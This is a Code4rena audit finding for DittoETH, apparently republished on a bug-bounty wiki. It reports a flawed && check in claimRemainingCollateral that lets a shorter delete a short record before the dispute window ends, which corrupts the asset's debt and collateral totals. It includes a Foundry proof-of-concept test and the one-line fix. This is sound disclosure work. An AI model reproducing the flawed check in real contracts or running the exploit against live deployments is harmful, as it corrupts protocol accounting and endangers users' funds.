Flawed if check causes inaccurate tracking of the protocol’s ercDebt and collateral
A flawed if check using && instead of || in claimRemainingCollateral allows a shorter to claim collateral for a short record before the dispute period ends. This leads to inaccurate tracking of the protocol's ercDebt and collateral because a deleted short record can still be disputed, causing the asset's totals to include non-existent debt and collateral.
samuraii77 Follow with samuraii77 and serial-coder
Originally disclosed on Code4rena
Submitted by samuraii77, also found by samuraii77 and serial-coder
A flawed if check using && instead of || in RedemptionFacet::claimRemainingCollateral() leads to a break of one of the core protocol invariants. The total collateral and ercDebt of an asset should always equal the total collateral and ercDebt of all shortRecords combined. However, this will not be the case if the scenario explained below takes place. This results in the protocol holding inaccurate values of their ercDebt and collateral which are extremely important values used for very important calculations across the entire protocol.
Proof of Concept
Imagine the following scenario:
Shorterhas a fewshortRecords.Redeemerproposes a redemption for one of theshortRecordsowned byshorter.- The
timeToDisputepasses. Redeemer2proposes redemption for another one of theshortRecordsowned byshorter.- Even though
timeToDisputehas not passed forredeemer2,shorteris able to callRedemptionFacet::claimCollateral()successfully because of a flawed if check.
if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
- 5.1
ShortercallsRedemptionFacet::claimRemainingCollateral()with the address ofredeemerand with the ID of theshortRecordproposed byredeemer2. - 5.2
redeemerAssetUserin the function is nowredeemer. - 5.3 The check for time to dispute passes as enough time has passed for
redeemer’stimeToDispute. - 5.4
claimProposalis thedecodedProposalDataofredeemer. - 5.5 The if check doesn’t lead to a revert because it is flawed,
claimProposal.shorteris==tomsg.senderas he is the owner of the initialshortRecord; however, theclaimProposal.shortIdis not equal to the given ID sinceclaimProposal.shortIdis based on the initial redeemer proposal and the given ID is the ID for theshortRecordproposed byredeemer2which makes the if check (true&&false) resulting in false and the code continues. - 5.6
_claimRemainingCollateral()is called with theshorteraddress (msg.sender) andshortIdequal to the given ID (ID of theshortRecordproposed byredeemer2). - 5.7 Check successfully passes and
shorterclaims collateral and deletesshortRecordwithout having to wait thetimeToDispute. - As the
shortRecordis deleted beforetimeToDisputeis over,RedemptionFacet::disputeRedemption()is still callable. Disputersuccessfully disputes the already deletedshortRecord.RedemptionFacet::disputeRedemption()gives back thecollateralandercDebtto the already deletedshortRecord.- It also increments the asset’s
collateralandercDebt.
for (uint256 i = incorrectIndex; i < decodedProposalData.length; i++) {
currentProposal = decodedProposalData[i];
STypes.ShortRecord storage currentSR = s.shortRecords[d.asset][currentProposal.shorter][currentProposal.shortId];
currentSR.collateral += currentProposal.colRedeemed;
currentSR.ercDebt += currentProposal.ercDebtRedeemed;
d.incorrectCollateral += currentProposal.colRedeemed;
d.incorrectErcDebt += currentProposal.ercDebtRedeemed;
}
s.vault[Asset.vault].dethCollateral += d.incorrectCollateral;
Asset.dethCollateral += d.incorrectCollateral;
Asset.ercDebt += d.incorrectErcDebt;
- Since the
shortRecordis deleted, it makes the asset’sercDebtandcollateralinaccurate as it includes theercDebtandcollateralof a non-existentshortRecord. - Such inaccuracy is detrimental to the protocol as inaccurate values for the
ercDebtandcollateralwill be used across the whole protocol for extremely important functions and calculations.
Add the following POC function to Redemption.t.sol:
function testRuinsDebtAndCollateralTracking() public {
// Set up all of the users
address shorter = sender;
address redeemer = receiver;
address redeemer2 = makeAddr('redeemer2');
depositEth(redeemer2, INITIAL_ETH_AMOUNT);
address disputer = makeAddr('disputer');
for (uint256 i = 0; i < 6; i++) {
if (i % 2 == 0) {
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
} else {
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer2);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
}
}
_setETH(50000 ether);
fundLimitBidOpt(DEFAULT_PRICE - 0.000000001 ether, DEFAULT_AMOUNT, redeemer2);
fundLimitShortOpt(DEFAULT_PRICE - 0.000000001 ether, DEFAULT_AMOUNT, shorter);
MTypes.ProposalInput[] memory redeemerProposalInputs = new MTypes.ProposalInput[](1);
redeemerProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID, shortOrderId: 0});
_setETH(1000 ether);
vm.prank(redeemer);
diamond.proposeRedemption(asset, redeemerProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer creates a proposal
skip(diamond.getAssetUserStruct(asset, redeemer).timeToDispute); // Skip the time to dispute for the first proposal (5401 seconds)
MTypes.ProposalInput[] memory redeemer2ProposalInputs = new MTypes.ProposalInput[](1);
redeemer2ProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID + 1, shortOrderId: 0});
vm.prank(redeemer2);
diamond.proposeRedemption(asset, redeemer2ProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer2 creates a proposal
assert(diamond.getOffsetTime() < diamond.getAssetUserStruct(asset, redeemer2).timeToDispute); // Not enough time has passed in order to redeem the second proposal (5402 < 10802)
vm.expectRevert(Errors.TimeToDisputeHasNotElapsed.selector);
vm.prank(redeemer2);
diamond.claimRedemption(asset); // This correctly reverts as 5401 seconds have not passed and bug is non-existent in claimRedemption()
STypes.ShortRecord[] memory shortRecordsBefore = diamond.getShortRecords(asset, shorter); // Get shortRecords before the deletion
vm.prank(shorter);
diamond.claimRemainingCollateral(asset, redeemer, 0, C.SHORT_STARTING_ID + 1); // Claiming collateral without waiting (this is the bug)
STypes.ShortRecord[] memory shortRecordsAfter = diamond.getShortRecords(asset, shorter); // Get shortRecords after the deletion
uint256 totalShortRecordsCollateralBefore;
uint256 totalShortRecordsDebtBefore;
for (uint256 i = 0; i < shortRecordsAfter.length; i++) { // Get the total collateral and total debt for the short records
totalShortRecordsCollateralBefore += shortRecordsAfter[i].collateral;
totalShortRecordsDebtBefore += shortRecordsAfter[i].ercDebt;
}
// Compare the total collateral and total debt based on the short records vs. based on the asset struct (they are equal as they should be)
STypes.Asset memory assetStruct = diamond.getAssetStruct(asset);
assertEq(totalShortRecordsCollateralBefore, assetStruct.dethCollateral); // 32500000000000000000
assertEq(totalShortRecordsDebtBefore, assetStruct.ercDebt); // 20000000000000000000000
assertEq(shortRecordsAfter.length, shortRecordsBefore.length - 1); // Deletion happened
vm.prank(disputer);
diamond.disputeRedemption(asset, redeemer2, 0, shorter, C.SHORT_STARTING_ID + 6); // Dispute with a shortRecord with a lower CR
STypes.ShortRecord[] memory shortRecordsFinal = diamond.getShortRecords(asset, shorter); // Current short records
STypes.Asset memory currentAssetStruct = diamond.getAssetStruct(asset); // Current asset struct
uint256 currentTotalShortRecordsCollateral;
uint256 currentTotalShortRecordsDebt;
for (uint256 i = 0; i < shortRecordsFinal.length; i++) { // Get the total collateral and total debt for the short records
currentTotalShortRecordsCollateral += shortRecordsFinal[i].collateral;
currentTotalShortRecordsDebt += shortRecordsFinal[i].ercDebt;
}
assert(currentTotalShortRecordsDebt != currentAssetStruct.ercDebt); // 25000000000000000000000 30000000000000000000000
assert(currentTotalShortRecordsCollateral != currentAssetStruct.dethCollateral); // 39999970000000000000 44999969999999999999
}
Recommended Mitigation Steps
Use || instead of &&
+ if (claimProposal.shorter != msg.sender || claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
- if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
Assessed type
Invalid Validation
ditto-eth (DittoETH) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the use of logical AND instead of OR in the condition that checks whether the caller is the short record owner and the short ID matches, allowing a caller who is the owner but with a different short ID to pass.
Impact
The asset's ercDebt and collateral become inaccurate, which could affect important calculations across the protocol.
What the attacker needed
Shorter has multiple short records; two redeemers propose redemptions; time to dispute passes for first proposal; disputer disputes deleted short record
The fix
The check should use logical OR instead of AND to ensure both conditions are validated.
How it was found
- Shorter has multiple short records.
- Redeemer proposes a redemption for one short record owned by shorter.
- Time to dispute passes for redeemer's proposal.
- Redeemer2 proposes a redemption for another short record owned by shorter.
- Shorter calls claimRemainingCollateral with redeemer's address and redeemer2's short ID, bypassing the time check due to the flawed if.
- Shorter successfully claims collateral and deletes the short record before redeemer2's time to dispute ends.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The protocol tracks total debt and collateral for each asset. A mistake in a permission check let a user delete a short record early, and later a dispute added debt and collateral back to that deleted record, making the totals wrong. This could break important calculations across the system.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.